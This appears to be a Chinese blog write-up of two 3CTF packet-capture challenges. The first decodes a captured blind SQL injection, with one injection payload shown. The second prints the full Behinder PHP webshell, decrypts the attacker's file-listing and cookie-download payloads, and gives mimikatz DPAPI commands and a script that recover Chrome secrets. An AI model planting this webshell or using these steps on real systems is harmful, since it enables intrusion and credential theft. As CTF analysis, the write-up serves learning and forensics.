Notes of Laurel | 大雨将至

Two flow analysis problems of 3CTF

Word count: 1.8kReading time: 8 min
2019/11/06 Share

白月光,心里某个地方。


第一道忘了叫啥了

是初赛的Misc1题目,给了一个1.pcap文件。内容是黑客进行bool盲注的过程。

看一下HTTP,很容易看到一个readme.7z的压缩包,导出来,就一个readme.txt,没啥了。

然后可以注意到,盲注过程中响应内容的大小不是706bytes就是722bytes。(刚开始我还在想这尼玛会不会是二进制,对不起打扰了

706字节 - -

1572873599429

722字节 - -

1572873572160

比如说,攻击者刚开始爆数据库个数时:

1
?id=1' and ((select count(schema_name) from information_schema.schemata) > 0)#

一直到 >6都返回的是706字节,而>7时,返回了722字节,说明这时候相当于是报错了,也就是说个数应该是7。

突然发现盲注这块是我的盲点,,哭了

然后看到后面开始查询字段的时候,看到是有urlpasswd两个字段。

1572875300950

嗯所以需要根据回显内容把这两个字段给解出来,一位一位地慢慢解,,

nb

解出来是这样的(然鹅我令人堪忧的数学把我带到了上一个字符去2333:

1
2
3
4
5
6
url:
116 46 99 110 47 65 105 56 80 104 113 83 98
t.cn/Ai8PhqSb
passwd:
98 107 105 115
bkis

这个短链接其实是个百度网盘 - -

1572877383786

flag.zip是加密的,内容有flag.txt和readme.txt。

那么这就很容易想到了明文攻击了(虽然比赛的时候我没想到,因为我当时做题已经做傻了,,

嗯然后AAPR明文跑密钥解密就完事儿了。flag{1d0ea6a36f6aaf7fa5d4b007454227d6}

当然也有师傅闲着没事儿跑了一个多小时把口令也跑出来了:CtF36o!s0

sj


第二道好像是叫黑客攻击啥的

首先看到的是shell脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
@error_reporting(0);
session_start();
if (isset($_GET['pass']))
{
$key=substr(md5(uniqid(rand())),16);
$_SESSION['k']=$key;
print $key;
}
else
{
$key=$_SESSION['k'];
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");

for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __construct($p) {eval($p."");}}
@new C($params);
}
?>

菜鸡的我没用过,搜了一下才知道,这是当下很流行的冰蝎,利用的是动态二进制加密。

项目地址:https://github.com/rebeyond/Behinder

上面那段代码的流程大致是:

当客户端以GET发起请求并设置了参数pass时,服务端会产生一个16位的随机密钥并写入Session。解密方式是,如果服务端不存在openssl,就用先base64解码,然后使用key进行循环异或加密;如果服务端能够加载openssl扩展,那就使用AES128解密。

然后看一下流量包,首先产生了两次密钥 - -

1572878358488

1572878383516

然后开始POST进行攻击 - -

1572878417035

然后就是需要解密一下攻击者POST的内容了。我先试了试使用key进行异或解密:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
{
$key = 'd59042be6e437849';
$post = 'DzqZ3o6...内容太长此处省略';
$t="base64_"."decode";
$post=$t($post."");

for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15]; }
print $post;
}

?>

但是解密后的内容乱乱的,所以应该不是。那就大概是AES了吧。然后去度娘上找了好几个网站,统统解不出来。我还用脚本试了试,也不行。

然后表哥给了一个网址,就能解出来了:http://tools.bugscaner.com/cryptoaes/

b2

将解密后的内容再base64一下就能看到攻击者具体在干什么了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
@error_reporting(0);
function main($content)
{
$result = array();
$result["status"] = base64_encode("success");
$result["msg"] = base64_encode($content);
$key = $_SESSION['k'];
echo encrypt(json_encode($result),$key);
}

function encrypt($data,$key)
{
if(!extension_loaded('openssl'))
{
for($i=0;$i<strlen($data);$i++) {
$data[$i] = $data[$i]^$key[$i+1&15];
}
return $data;
}
else
{
return openssl_encrypt($data, "AES128", $key);
}
}$content="f5dfe44a-0213-45db-a617-8db5e5a07ab3";
main($content);

把所有的攻击内容都解密出来看了一下(一共19次,罗列如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$content="f5dfe44a-0213-45db-a617-8db5e5a07ab3";
$mode="list";$path="C:/";
$mode="list";$path="C:/Users/";
$mode="list";$path="C:/Users/shadow/";
$mode="list";$path="C:/Users/shadow/Desktop/";
$mode="show";$path="C:/Users/shadow/Desktop/password.txt";$content="";
$mode="list";$path="C:/Users/shadow/AppData/";
$mode="list";$path="C:/Users/shadow/AppData/Local/";
$mode="list";$path="C:/Users/shadow/AppData/Local/Google/";
$mode="list";$path="C:/Users/shadow/AppData/Local/Google/Chrome/";
$mode="list";$path="C:/Users/shadow/AppData/Local/Google/Chrome/User Data/";
$mode="list";$path="C:/Users/shadow/AppData/Local/Google/Chrome/User Data/Default/";
$mode="download";$path="C:/Users/shadow/AppData/Local/Google/Chrome/User Data/Default/Cookies";
$mode="list";$path="C:/Users/shadow/AppData/";
$mode="list";$path="C:/Users/shadow/AppData/Roaming/";
$mode="list";$path="C:/Users/shadow/AppData/Roaming/Microsoft/";
$mode="list";$path="C:/Users/shadow/AppData/Roaming/Microsoft/Protect/";
$mode="list";$path="C:/Users/shadow/AppData/Roaming/Microsoft/Protect/S-1-5-21-2127750816-4215895028-2373289296-1001/";
$mode="download";$path="C:/Users/shadow/AppData/Roaming/Microsoft/Protect/S-1-5-21-2127750816-4215895028-2373289296-1001/6ecf76bd-1803-437e-92e6-28dd36c907aa";

攻击者下载了两个文件。第一个是谷歌浏览器的cookies,第二个是用户的Master Key file。

并且还查看了一下Desktop上的password.txt,内容解密后是p@ssw0rd。(把passwd放桌面可还行

所以题目的意思大概是要我们导出谷歌浏览器中保存的密码。这就涉及到了DPAPI(Data Protection API),是用来加密数据的接口,比如Chrome的Cookies。

DPAPI使用了Master Key这个东西来加解密。而Master Key是通过用户的密码HASH来加密生成的。那Masterkey怎么得到呢,通过Masterkey File即可,也就是上面第二次下载的文件。

1
2
C:\Users\<USER>\AppData\Roaming\Microsoft\Protect\<SID>\<GUID>
<SID>是用户的安全描述符,<GUID>是Master Key的名字。

目前解题的话,我只想到了两个解题方法。

方法一:使用mimikatz

参考网址:https://ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#protecting-and-unprotecting-data

目前已知用户登录密码password,用户SID,GUID,那就可以解出MasterKey了:

1
dpapi::masterkey /in:"C:\Users\65725\Downloads\ok\6ecf76bd-1803-437e-92e6-28dd36c907aa" /sid:S-1-5-21-2127750816-4215895028-2373289296-1001 /password:p@ssw0rd /protected

1573011619215

得到MasterKey为:

1
dc273990f4a61dde19f7708be532a9ed08e9e0d21581fb29c6d3ddcfbccad5a4dfe09b9fdfe54c78841dead69035c89f3ab577522b58b9d7c5740fcdb8095c1a

注意:如果敲入命令回车之后mimikatz直接退出了,那就说明master key file文件有问题,具体啥问题方法二写了。

再利用其解密Chrome数据:

1
dpapi::chrome /in:"C:\Users\65725\Downloads\ok\Cookies" /unprotect /masterkey:dc273990f4a61dde19f7708be532a9ed08e9e0d21581fb29c6d3ddcfbccad5a4dfe09b9fdfe54c78841dead69035c89f3ab577522b58b9d7c5740fcdb8095c1a

得到的这个cookie值就是flag - -

1573011735542


方法二:利用Windows Password Recovery软件

参考链接:https://zhuanlan.zhihu.com/p/33634735

先用SQLite看一下导出的Cookies - -

1573006247230

看到了encrypted_value的类型是Blob - -

1573006471266

也就是说DPAPI blob位于数据库文件的encrypted_value段,先将其保存出来:

1
2
3
4
5
6
7
8
9
10
11
from os import getenv
import sqlite3
import binascii
conn = sqlite3.connect("Cookies")
cursor = conn.cursor()
cursor.execute('SELECT encrypted_value FROM cookies')
for result in cursor.fetchall():
print (binascii.b2a_hex(result[0]))
f = open('blob.txt', 'wb')
f.write(result[0])
f.close()

然后,使用Windows Password Recovery这个软件进行解密。选择Utils->DPAPI Decoder and Analyser->Decrypt DPAPI data blob

blob file选择刚才导出的blob.txt - -

1573008227100

然后选择好Master Key file - -

1573008288010

填好User SID和用户登录密码 - -

1573008346907

然后恢复出密码 - -

1573007608950

注意:使用Windows Password Recovery解密Master Key File的时候,如果出现打不开这种情况 - -

1573008535066

那一定是从Wireshark导出的时候,删除前面数据的时候删多了,比如像这样 - -

1573008605138

这当然打不开,开头必须是02 00 (因为我一开始也删多了然后拿它和本机系统的文件比对了一下- -

1573008664282


那么亮,却那么冰凉。

CATALOG
  1. 1. 第一道忘了叫啥了
  2. 2. 第二道好像是叫黑客攻击啥的
    1. 2.1. 方法一:使用mimikatz
    2. 2.2. 方法二:利用Windows Password Recovery软件